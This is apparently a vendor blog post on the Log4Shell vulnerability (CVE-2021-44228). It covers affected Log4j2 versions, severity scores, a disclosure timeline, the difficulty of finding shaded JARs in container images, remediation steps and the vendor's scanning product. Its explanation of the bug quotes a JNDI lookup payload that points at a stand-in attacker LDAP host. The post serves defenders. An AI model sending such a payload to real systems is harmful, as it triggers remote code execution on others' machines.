How Log4Shell exposed cloud container images and how to d...

On December 9, 2021, a single JNDI lookup string turned a ubiquitous Java logging library into one of the most consequential vulnerabilities in the history of enterprise software. CVE-2021-44228, universally known as Log4Shell, allowed unauthenticated remote code execution simply by getting a vulnerable application to log a malicious string. Because Apache Log4j2 is bundled — often silently, several dependency layers deep — inside countless Java base images, container registries, and CI/CD build artifacts, Log4Shell container image scanning became a frontline discipline almost overnight. Years later, Log4j-bearing images still turn up in registries, golden AMIs, and forgotten build caches, which is why detecting these images remains a baseline hygiene check for any serious container security program.

How Log4Shell Actually Works

Log4j2 includes a message-lookup feature that, by default, evaluates special substitution strings embedded in log messages. An attacker who can get a string like ${jndi:ldap://attacker.example/a} into anything Log4j logs — an HTTP User-Agent header, a login field, an API parameter — causes the library to perform a JNDI lookup against an attacker-controlled LDAP or RMI server. That server can respond with a reference to a remote Java class, which the vulnerable JVM then loads and executes. No authentication, no user interaction, and no unusual privileges are required — just a log line. That combination of triviality and ubiquity is what made Log4Shell different from almost every other CVE before it.

The bug was reported to the Apache Software Foundation on November 24, 2021 by Chen Zhaojun of Alibaba Cloud's security team. A patch and public disclosure followed on December 9, 2021, and proof-of-concept exploit code spread within hours. Mass, internet-wide scanning and active exploitation began almost immediately, targeting everything from Minecraft servers to enterprise VPN appliances.

Affected Versions and Components

CVE-2021-44228 affects Apache Log4j2 versions 2.0-beta9 through 2.14.1. The vulnerability was fixed in 2.15.0, though that initial patch turned out to be incomplete for certain non-default configurations, leading to a follow-on advisory, CVE-2021-45046, addressed in 2.16.0. Two more Log4j2 fixes followed in short order: CVE-2021-45105 (uncontrolled recursion / denial of service), resolved in 2.17.0, and CVE-2021-44832 (RCE requiring attacker control of the logging configuration, a lower-severity variant), resolved in 2.17.1. Any organization patching Log4Shell should target the current maintained 2.x line well beyond 2.17.1, not just the first available fix.

What makes this relevant to container security specifically is how Log4j2 gets distributed. It rarely appears as a standalone package a distro-level scanner would recognize. Instead it's pulled in transitively through Maven or Gradle dependency trees, embedded inside Elasticsearch, Apache Solr, Apache Kafka Connect, Apache Flink, Apache Druid, and dozens of commercial appliances and SaaS backends that ship as containers. It also frequently ends up repackaged inside "fat" or "shaded" uber-JARs, where the original log4j-core artifact metadata is stripped away and only the compiled .class files remain — including the now-infamous JndiLookup.class. That single fact explains most of why detecting Log4j vulnerable images is harder than checking an OS package manifest.

CVSS, EPSS, and CISA KEV: Why Severity Never Faded

CVE-2021-44228 carries a CVSS v3.1 base score of 10.0 — the maximum possible score — reflecting network-based attack vector, no privileges required, no user interaction, and complete impact to confidentiality, integrity, and availability. It has consistently ranked among the highest EPSS-scored vulnerabilities ever tracked, with predicted exploitation probability sitting far above the vast majority of scored CVEs; put simply, if a vulnerable, internet-reachable instance exists, the EPSS data says it is very likely to be probed. CISA added CVE-2021-44228 to its Known Exploited Vulnerabilities (KEV) catalog, mandating remediation timelines for federal agencies and cementing it as a benchmark example of "must patch, no exceptions" severity. Together, the CVSS ceiling, sustained high EPSS score, and KEV listing are exactly the kind of CVE-2021-44228 cloud impact signal that should push any vulnerable image straight to the top of a remediation backlog rather than sitting in a routine patch cycle.

Timeline: Disclosure Through Ongoing Exposure

• November 24, 2021 — Chen Zhaojun of Alibaba Cloud reports the JNDI lookup issue to the Apache Software Foundation.
• December 9–10, 2021 — Public disclosure and proof-of-concept code circulate; Apache releases Log4j2 2.15.0; CVE-2021-44228 is published; mass exploitation begins within hours across cloud workloads, on-prem servers, and appliances.
• December 13, 2021 — Log4j2 2.16.0 addresses the incomplete fix tracked as CVE-2021-45046.
• December 17, 2021 — Log4j2 2.17.0 addresses a denial-of-service issue, CVE-2021-45105.
• December 28, 2021 — Log4j2 2.17.1 addresses CVE-2021-44832, a lower-severity RCE requiring attacker control of logging configuration.
• Ongoing — Years after the initial disclosure, scans of container registries, CI artifact stores, and embedded/IoT firmware continue to surface unpatched Log4j2 instances, largely due to shaded JARs, stale base images, and vendor appliances that were never rebuilt.

Why Log4Shell Container Image Scanning Is Still Hard

Most of the residual risk today isn't in freshly built applications — teams patched those years ago. It's in the long tail: base images built once and never rebuilt, third-party or vendor images pulled unchanged into production, and multi-stage builds where a vulnerable JAR gets copied forward without anyone noticing. Effective Log4Shell container image scanning has to go beyond OS package manifests and inspect language-level dependencies inside every layer, including nested JARs inside JARs and renamed classes inside shaded artifacts. A scanner that only reads pom.xml or package metadata will miss a log4j-core class file that's been merged into an application's single fat JAR with no accompanying manifest entry.

This gets more complicated across a multi-cloud registry footprint. Organizations running Amazon Elastic Container Registry, Azure Container Registry, and Google Artifact Registry side by side — or migrating between them — need consistent ECR ACR GAR Log4j scanning coverage rather than three different tools with three different detection rates. Registry-native scanners often differ in how deeply they inspect Java dependencies, which means an image flagged clean in one registry can still be vulnerable when the same digest, or a near-identical rebuild, is pushed to another.

Remediation Steps

1. Inventory first. Generate or pull SBOMs for every image in every registry to identify exactly where log4j-core appears, including transitively and inside shaded JARs.
2. Upgrade the library. Move affected components to a maintained Log4j2 release well past 2.17.1. Don't stop at 2.15.0 or 2.16.0 — both were superseded by fixes for related CVEs.
3. Rebuild and re-push images. Patching source code isn't enough; the fixed dependency has to be baked into a new image build and that image has to actually replace the vulnerable one in every registry and running environment, not just the source repository.
4. Apply compensating controls where rebuilds are slow. For images that can't be rebuilt immediately, removing the JndiLookup.class file from the JAR (zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class) or setting log4j2.formatMsgNoLookups=true mitigates the specific RCE vector as an interim measure — not a substitute for patching.
5. Restrict egress. Limiting outbound LDAP, RMI, and unnecessary DNS from application workloads reduces the chance a successful lookup can reach an attacker-controlled server, as defense in depth.
6. Gate the pipeline going forward. Add policy enforcement so images containing unpatched Log4j2 versions can't be pushed to production registries or admitted into a cluster in the first place.

How Safeguard Helps

Safeguard is built to catch exactly this class of long-tail, dependency-buried vulnerability before it reaches production and to keep it from quietly reappearing later. For Log4Shell specifically, that means:

• Deep, layer-aware SBOM generation that inspects every layer of a container image — including nested and shaded JARs — so a log4j-core class buried inside a repackaged uber-JAR is identified even without clean package metadata.
• Unified detect Log4j vulnerable images coverage across registries, giving consistent scan results whether images live in ECR, ACR, GAR, or a self-hosted registry, so severity isn't a function of which cloud happens to host the image.
• CVSS, EPSS, and KEV-aware prioritization, surfacing CVE-2021-44228 and its related follow-on CVEs (2021-45046, 2021-45105, 2021-44832) at the top of remediation queues rather than burying a maximum-severity, actively-exploited flaw among thousands of lower-risk findings.
• Admission control and CI/CD gating that blocks vulnerable images from being pushed or deployed, closing the gap where a patched source repository still ships an unpatched container.
• Continuous re-scanning of already-deployed images, so images that were clean at build time but sit unrebuilt for months don't silently drift back into vulnerable territory as new Log4j2 advisories emerge.

Log4Shell proved that a single logging library, three dependency layers deep, can put an entire cloud fleet at critical risk. Treating Log4Shell container image scanning as a one-time cleanup rather than a continuous control is how organizations end up rediscovering the same CVE-2021-44228 exposure years after they thought it was closed.